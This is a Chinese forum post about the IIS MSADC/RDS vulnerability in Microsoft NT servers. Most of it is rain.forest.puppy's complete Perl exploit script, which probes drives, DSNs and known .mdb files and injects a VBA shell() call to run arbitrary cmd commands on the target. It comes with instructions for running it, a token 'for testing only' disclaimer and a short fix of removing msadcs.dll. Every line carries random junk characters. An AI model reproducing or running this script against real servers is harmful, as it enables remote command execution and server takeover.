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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !1m7^3l7j  
" l;=jk]  
涉及程序: 8f`r!/j  
Microsoft NT server pf% yEz  
BFnp[93N  
描述: 3R>"X c  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _|jEuif  
3kz O VZ  
详细: CXiDe)|<E  
如果你没有时间读详细内容的话,就删除: eL" +_lW  
c:\Program Files\Common Files\System\Msadc\msadcs.dll tn 38T%  
有关的安全问题就没有了。 TGDrTyI?y  
#=uV, dw  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7TW&=(  
B=}s7$^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 `c)[aP{vN  
关于利用ODBC远程漏洞的描述,请参看: <sTY<iVR  
!&adO,jN+=  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ()^tw5e'^  
.k -!/^  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 JA09 o(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp >PYc57S1c  
U! $/'Xi9  
这里不再论述。 @6kkt~>:  
\_)[FC@  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L[voouaqm  
qTz5P  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset )8E[xBaO  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 7Hg;SK6t0  
o&$Of  
,`!>.E.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" cTja<*W^xv  
kq*IC&y  
#!perl g;~$xXn  
# GdM|?u&s"  
# MSADC/RDS 'usage' (aka exploit) script cwE?+vB  
# =4uO"o  
# by rain.forest.puppy 0DaKd<Scv  
# XMF#l]P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me s54AM]a{j  
# beta test and find errors! 4N)45@jk[  
ky{@*fg.  
use Socket; use Getopt::Std; gm$<U9L\v  
getopts("e:vd:h:XR", \%args); \I7&F82e  
yu jv^2/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 19bqz )  
B A i ^t  
if (!defined $args{h} && !defined $args{R}) { !KtP> `8  
print qq~ s( :N>K5*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ~ Ofn&[G  
-h <host> = host you want to scan (ip or domain) swg*fhJFB  
-d <seconds> = delay between calls, default 1 second D1V^DbUm_  
-X = dump Index Server path table, if available H on,-<  
-v = verbose 7g4IAsoD  
-e = external dictionary file for step 5 o,qUf  
{>d\  
Or a -R will resume a command session ),@m 3wQ  
V8 G.KA "  
~; exit;} C_ W%]8u  
m[%P3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; gMPvzBpP  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &S[>*+}{+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} r@CbhD  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); BSY7un+`:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} (r-PkfXvIf  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } UAds$ 9  
CtHsi8m  
if (!defined $args{R}){ $ret = &has_msadc; C}71SlN'M  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Q SvgbjdE  
xgIb4Y%  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >Ft:&N9L{  
. "cmd /c "; W"g@*B'|  
$in=<STDIN>; chomp $in; HHZrovA#  
$command="cmd /c " . $in ; U3pMv|b  
!Xzy:  
if (defined $args{R}) {&load; exit;} qSQsY:]j0  
.WS7gTw  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; zrV~7$HL  
&try_btcustmr; FD.L{  
npcL<$<6X  
print "\nStep 2: Trying to make our own DSN..."; 3 Ol`i$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; %`j2?rn  
0T:ZWRjH  
print "\nStep 3: Trying known DSNs..."; 4K!@9+Mz  
&known_dsn; `7_s@4:  
Bz6Zy)&sAL  
print "\nStep 4: Trying known .mdbs..."; +|Mi lwr  
&known_mdb; t8B==%  
}#E~XlX^  
if (defined $args{e}){ Es+BV+x[.c  
print "\nStep 5: Trying dictionary of DSN names..."; /pz(s+4=  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } p"q4R2_/jh  
!{4bC  
print "Sorry Charley...maybe next time?\n"; &uxwz@RC0  
exit; ea!Znld]  
+WSM<S2 U  
############################################################################## ,8@U-7f,  
U=ie| 3  
sub sendraw { # ripped and modded from whisker R^GLATM  
sleep($delay); # it's a DoS on the server! At least on mine... u )KtvC!  
my ($pstr)=@_; 3o^  oq  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z*&r@P -  
die("Socket problems\n"); M-NY&@Nj  
if(connect(S,pack "SnA4x8",2,80,$target)){ l}mzCIw%  
select(S); $|=1; 4vf,RjB-5  
print $pstr; my @in=<S>; 3,{tGNl|  
select(STDOUT); close(S); n*i1QC  
return @in; ] 73BJ  
} else { die("Can't connect...\n"); }} IF.6sJg:  
_z \PVTT  
############################################################################## xZ(VvINL'  
X&({`Uw<K  
sub make_header { # make the HTTP request ){XG%nC  
my $msadc=<<EOT UP |#WegO  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 w7X], auRC  
User-Agent: ACTIVEDATA B$%7U><'  
Host: $ip w1P8p>vA1  
Content-Length: $clen i:,37INMt  
Connection: Keep-Alive *27*&&=)H  
7= x]p  
ADCClientVersion:01.06 qlfYX8edZ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 9% AL f 9  
xt"GO  b  
--!ADM!ROX!YOUR!WORLD! 5\$8"/H  
Content-Type: application/x-varg Qd$!?h  
Content-Length: $reqlen &GH ,is  
0`dMT>&I  
EOT b_T?jCyW  
; $msadc=~s/\n/\r\n/g; 4`#3p@-  
return $msadc;} DEkFmmw   
W g2Y`2@t  
############################################################################## _P*<T6\J>  
fUg I*V  
sub make_req { # make the RDS request RxVf:h'l  
my ($switch, $p1, $p2)=@_; X#*|_(^  
my $req=""; my $t1, $t2, $query, $dsn; kM T73OI>_  
P7i G,i  
if ($switch==1){ # this is the btcustmr.mdb query ^?)o,djY&  
$query="Select * from Customers where City=" . make_shell(); |_J[n !~f7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . =?/RaK/ w  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} r{gJ[%  
.Z"p'v  
elsif ($switch==2){ # this is general make table query O8N\  
$query="create table AZZ (B int, C varchar(10))"; oG)JH)!  
$dsn="$p1";} ^"h`U'YC  
9j[%Y?  
elsif ($switch==3){ # this is general exploit table query + fQ=G/  
$query="select * from AZZ where C=" . make_shell(); @,63%  
$dsn="$p1";} FN&.PdRT  
;@@1$mzK  
elsif ($switch==4){ # attempt to hork file info from index server Et=N`k _gO  
$query="select path from scope()"; U'st\Dt  
$dsn="Provider=MSIDXS;";} $#dPM*E  
VR/>V7*7@  
elsif ($switch==5){ # bad query r2T-=XWB  
$query="select"; 3JiDi X"|  
$dsn="$p1";} uOqWMRsoi  
MEQ :[;1  
$t1= make_unicode($query); | 1Fy  
$t2= make_unicode($dsn); mACj>0Z'  
$req = "\x02\x00\x03\x00"; :o}J u}t  
$req.= "\x08\x00" . pack ("S1", length($t1)); vmW4 3K;  
$req.= "\x00\x00" . $t1 ; $e;_N4d^  
$req.= "\x08\x00" . pack ("S1", length($t2)); 9IKFrCO9,  
$req.= "\x00\x00" . $t2 ; .VVY]>bJg@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; X$zlR) Re  
return $req;} pC2r{-  
\d0R&vFHQ  
############################################################################## `/'Hq9$F<"  
[e )j,Q1  
sub make_shell { # this makes the shell() statement !aD/I%X  
return "'|shell(\"$command\")|'";} DYU+?[J  
f~u]fpkz  
############################################################################## ~O~c^fLH(B  
q@ >s#  
sub make_unicode { # quick little function to convert to unicode m9UI3fBX  
my ($in)=@_; my $out; <h2WM (n  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } <JKRdIx&1  
return $out;} ~ jb6  
yAoJ?<4^W  
############################################################################## edqekjh  
NamBJ\2E1[  
sub rdo_success { # checks for RDO return success (this is kludge) rS>JzbWa  
my (@in) = @_; my $base=content_start(@in); -DrR6kGjR  
if($in[$base]=~/multipart\/mixed/){ ]&1Kz 2/  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} e%&2tf4  
return 0;} rLNo7i  
^zHBDRsb2F  
############################################################################## T=}(S4n#BX  
nZa.3/7dJ  
sub make_dsn { # this makes a DSN for us | eIN<RY5  
my @drives=("c","d","e","f"); sn&y;Vc[$  
print "\nMaking DSN: "; I|JMkP  
foreach $drive (@drives) { *ta ``q  
print "$drive: "; sB ]~=vUP  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]lzt "[  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" >&tPIrz  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); wxXp(o(  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; OWFLw  
return 0 if $2 eq "404"; # not found/doesn't exist ~AxA ,  
if($2 eq "200") { kJqgY|  
foreach $line (@results) { [!4p5;  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} kt.z,<w5O  
} return 0;} Yjv}@i"  
YYHtd,0\+  
############################################################################## quHq?oXV,  
M ()&GlNs  
sub verify_exists { W[[3'JTF  
my ($page)=@_; 0'`>20Y  
my @results=sendraw("GET $page HTTP/1.0\n\n"); kD S  
return $results[0];} i ~fkjn  
[op!:K0  
############################################################################## k/YEUC5  
jKZJ0`06q  
sub try_btcustmr { yTwv2l;U  
my @drives=("c","d","e","f"); .t''(0_kC  
my @dirs=("winnt","winnt35","winnt351","win","windows"); BRbx.  
4G0Er?D   
foreach $dir (@dirs) { l=U@j T  
print "$dir -> "; # fun status so you can see progress Lt0JUUa0  
foreach $drive (@drives) { ~~k_A|&  
print "$drive: "; # ditto %Kx:'m%U  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &U ]L@ ]x  
$reqlenlen=length( "$reqlen" ); s~$ZTzV  
$clen= 206 + $reqlenlen + $reqlen; DcA{E8Y  
lN#W  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); sL|*0,#K  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} wgxr8;8`q  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} FjqoO.  
6/Y3#d  
##############################################################################  -iWt~  
yEyx.Mh.Af  
sub odbc_error { 1@sy:{ d`  
my (@in)=@_; my $base; __M(dN(^  
my $base = content_start(@in); V  @8+  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this #4iSQ$0  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; w%R(*,r6  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &?flH;  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F7lhLly  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8)HUo?/3  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ,%7>%*nhk  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ]:jP*0bLx  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ^N#B( F  
cO%-Av~P  
############################################################################## TELN4*  
X c~yr\%]  
sub verbose { #&<>|m  
my ($in)=@_; =vJ:R[Ilw  
return if !$verbose; b>SG5EqU@  
print STDOUT "\n$in\n";}  @v &hr  
4FUY1p  
############################################################################## ;:2]++G  
DCr&%)Ll  
sub save { ScOiOz:Ha  
my ($p1, $p2, $p3, $p4)=@_; A) {q 7WI  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; bQd'objpY  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; T40&a(hXQ  
close OUT;} WjLy7&  
Kv(2x3("  
############################################################################## Q(v*I&k  
mY6d+  
sub load { ou8V7  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; } )D E  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); C:z+8wt  
@p=<IN>; close(IN); b)ytm=7ha  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); *Rm"3S  
$target= inet_aton($ip) || die("inet_aton problems"); _mSDz=!Z3  
print "Resuming to $ip ..."; ZAATV+Z  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 4mHR+SZy  
if($p[1]==1) { <46> v<  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; b;Nm$`2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; |w; hu]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); rgq~lZ.U4K  
if (rdo_success(@results)){print "Success!\n";}  ;IV  
else { print "failed\n"; verbose(odbc_error(@results));}} HrOq>CSR  
elsif ($p[1]==3){  9t$#!2z  
if(run_query("$p[3]")){ .,({&L  
print "Success!\n";} else { print "failed\n"; }} oVZI ([O  
elsif ($p[1]==4){ M~/Pk7CC  
if(run_query($drvst . "$p[3]")){ {*yFTP"93  
print "Success!\n"; } else { print "failed\n"; }} JRgrg &#  
exit;} # <?igtUO  
.4CCR[Het  
############################################################################## 8-#_xsZ^;  
L i g7Ac,  
sub create_table { "rl(%~Op  
my ($in)=@_; gm^j8  B  
$reqlen=length( make_req(2,$in,"") ) - 28; IvZ,|R?  
$reqlenlen=length( "$reqlen" ); gWk?g^KJL  
$clen= 206 + $reqlenlen + $reqlen; *r)/Vx`S  
my @results=sendraw(make_header() . make_req(2,$in,"")); Fal##6B  
return 1 if rdo_success(@results); nu(;yIRP  
my $temp= odbc_error(@results); verbose($temp); yN@3uYBF  
return 1 if $temp=~/Table 'AZZ' already exists/; we("#s1=  
return 0;} eW<|I  
b#%$y  
############################################################################## ZA1:Y{ V  
02 $d  
sub known_dsn { PEr &|H2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go XJZ\ss  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !eu\ShI  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #}p@+rkg2  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2RbK##`vC  
PtTL tiE~  
foreach $dSn (@dsns) { "M;aNi^B  
print "."; )5[OG7/g  
next if (!is_access("DSN=$dSn")); Qx")D?u  
if(create_table("DSN=$dSn")){ p3,m),  
print "$dSn successful\n"; A+=K<e  
if(run_query("DSN=$dSn")){ `VrQ? s  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $ucDz f=o  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U-*`I?~=4  
ZX8 AB  
############################################################################## !AXt6z cZ  
wS7nTZfw  
sub is_access { .fgVzDR|+  
my ($in)=@_; S[;d\Z]~  
$reqlen=length( make_req(5,$in,"") ) - 28; F$j?}  
$reqlenlen=length( "$reqlen" ); -Hh.8(!XoO  
$clen= 206 + $reqlenlen + $reqlen; aGAeRF  
my @results=sendraw(make_header() . make_req(5,$in,"")); j.ZXLe~  
my $temp= odbc_error(@results); m9=93W?   
verbose($temp); return 1 if ($temp=~/Microsoft Access/); s'^sT=b  
return 0;} )Drif\FF)  
p:;`X!  
############################################################################## |s'5 ~+  
L O;?#e7  
sub run_query { r i/CLq^D  
my ($in)=@_; g)1`A 24  
$reqlen=length( make_req(3,$in,"") ) - 28; ?j;,:n   
$reqlenlen=length( "$reqlen" ); Js<DVe,  
$clen= 206 + $reqlenlen + $reqlen; {%oxzdPc  
my @results=sendraw(make_header() . make_req(3,$in,"")); onU\[VvM  
return 1 if rdo_success(@results); - i#Kpf  
my $temp= odbc_error(@results); verbose($temp); /E-s g, k  
return 0;} mb>8=hMg  
r+!29  
############################################################################## O+?vQ$z  
!C@+CZXLx  
sub known_mdb { ]1 jhy2j  
my @drives=("c","d","e","f","g"); |va^lT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); q#O 8Fv  
my $dir, $drive, $mdb; fZp3g%u  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; UP7?9\  
(]` rri*^  
# this is sparse, because I don't know of many d2?#&d'aq  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8},:  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", q?qH7={,eu  
"\\system32\\certmdb.mdb", *\Lr]6k  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% kEp{L  
-wr_x<7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _3IRj=Cs  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ,h9?o  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", X"sJiFS  
"\\cfusion\\cfapps\\security\\realm_.mdb", -\7_^8 am  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", DKF` xuJP  
"\\cfusion\\database\\cfexamples.mdb", k;Fxr%  
"\\cfusion\\database\\cfsnippets.mdb", ]v]tBVO$  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", X/_89<&  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", vY7 @1_"  
"\\cfusion\\brighttiger\\database\\cleam.mdb", =ea.+  
"\\cfusion\\database\\smpolicy.mdb", S0tkqA4  
"\\cfusion\\database\cypress.mdb", B1A:}#  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ~)VI` 36X  
"\\website\\cgi-win\\dbsample.mdb", h\2iArw8  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", IL1iTR H  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ,M~> t7+  
); #these are just <kk!nsI  
foreach $drive (@drives) { oQ A,57B  
foreach $dir (@dirs){ 6a<zZO`Z6+  
foreach $mdb (@sysmdbs) { G+2 ,x0(  
print "."; 4bcd=a;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !L@<?0x LW  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^X?uAX-RP|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ M!D6i5k,   
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ss0I{0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} yzMGZi`ut  
 d0i|^  
foreach $drive (@drives) { T2n3g|4  
foreach $mdb (@mdbs) { =kf"%vFV  
print "."; _u'y7-  
if(create_table($drv . $drive . $dir . $mdb)){ gm%cAme  
print "\n" . $drive . $dir . $mdb . " successful\n"; nEPTTp+B  
if(run_query($drv . $drive . $dir . $mdb)){ S{3c}>n  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /::Y &&$f  
} else { print "Something's borked. Use verbose next time\n"; }}}} _''un3eCY  
} . :>e"D  
5f MlOP_  
############################################################################## ~ivOSr7s}  
M%Ksyr9  
sub hork_idx { <s7cCpUFP  
print "\nAttempting to dump Index Server tables...\n"; .wmqaLd%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; n @,.  
$reqlen=length( make_req(4,"","") ) - 28; +xgP&nw[-  
$reqlenlen=length( "$reqlen" ); y=.bn!u}z  
$clen= 206 + $reqlenlen + $reqlen; }dHdy{$  
my @results=sendraw2(make_header() . make_req(4,"","")); Y%?*Lj|  
if (rdo_success(@results)){ Yg,;l-1  
my $max=@results; my $c; my %d; i(OeE"YA  
for($c=19; $c<$max; $c++){ nMZ)x-  
$results[$c]=~s/\x00//g; U82mO+}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ;TS%e[lFhQ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Dx`-h#  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,tcUJ}l  
$d{"$1$2"}="";} u>G9r#~`k  
foreach $c (keys %d){ print "$c\n"; } JT!9LNh;R`  
} else {print "Index server doesn't seem to be installed.\n"; }} ,p OGT71  
*nHuGla  
############################################################################## C\aHr!  
_Gf-s51s  
sub dsn_dict { 01n132k  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 0?( uqjD:  
while(<IN>){ .}v" `>x  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~#jiX6<I  
next if (!is_access("DSN=$dSn")); vy7/  
if(create_table("DSN=$dSn")){ ,[t? $Cy ;  
print "$dSn successful\n"; \D(3~y>  
if(run_query("DSN=$dSn")){ P"l'? `  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \/?J)k3H.  
print "Something's borked. Use verbose next time\n";}}} ""XAUxo  
print "\n"; close(IN);} xY#J((-iH  
lux g1>  
############################################################################## >X eXd{$  
80_w_i+  
sub sendraw2 { # ripped and modded from whisker ]K*R[  
sleep($delay); # it's a DoS on the server! At least on mine... U1X"UN)  
my ($pstr)=@_; &Cv  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -{ 1P`&G  
die("Socket problems\n"); H@Ot77(*  
if(connect(S,pack "SnA4x8",2,80,$target)){ FRZ]E)9Z]b  
print "Connected. Getting data"; Mmu#hb|W  
open(OUT,">raw.out"); my @in;  \20} /&  
select(S); $|=1; print $pstr; +(92}~RK  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} }O>1tauI  
close(OUT); select(STDOUT); close(S); return @in; [M,4qe8,}  
} else { die("Can't connect...\n"); }} Z|$DchC  
.ex;4( -!  
############################################################################## nEd "~  
L;u5  
sub content_start { # this will take in the server headers 'JJKnE zQ  
my (@in)=@_; my $c; !ess.U&m'  
for ($c=1;$c<500;$c++) { `dG;SM$T,  
if($in[$c] =~/^\x0d\x0a/){ H~nX! sO  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3&7? eO7*  
else { return $c+1; }}} *oz#YGNm  
return -1;} # it should never get here actually 6bhb_U'f  
A1-,b.Ni  
############################################################################## ZxSFElDD]E  
Cj-&L<  
sub funky { ,++HiYOG}e  
my (@in)=@_; my $error=odbc_error(@in); 5rB>)p05[  
if($error=~/ADO could not find the specified provider/){ n|&=6hiI  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; qz]qG=wmL  
exit;} jaodcT0  
if($error=~/A Handler is required/){ .=J- !{z  
print "\nServer has custom handler filters (they most likely are patched)\n"; >pLJ ,Z  
exit;} /~w*)e)  
if($error=~/specified Handler has denied Access/){ \WFcb\..  
print "\nServer has custom handler filters (they most likely are patched)\n"; >fI\f <ez  
exit;}} j67ppt  
SA}Dkt&,  
############################################################################## SDO:Gma  
G6zFQ\&f  
sub has_msadc { tm.60udbo  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9 ;p5z[jI  
my $base=content_start(@results); n4S`k%CI  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); TG$ #aX\'  
return 0;} 2I_ yUt-  
GkI'.  
######################## :G@z?ZJ[  
G`O*AQ}[  
,4t6Cq!  
解决方案: r/'!#7dLG-  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {:!>Y1w>  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9n\>Yieu  
07:V[@'  
拿出来充数 哈哈
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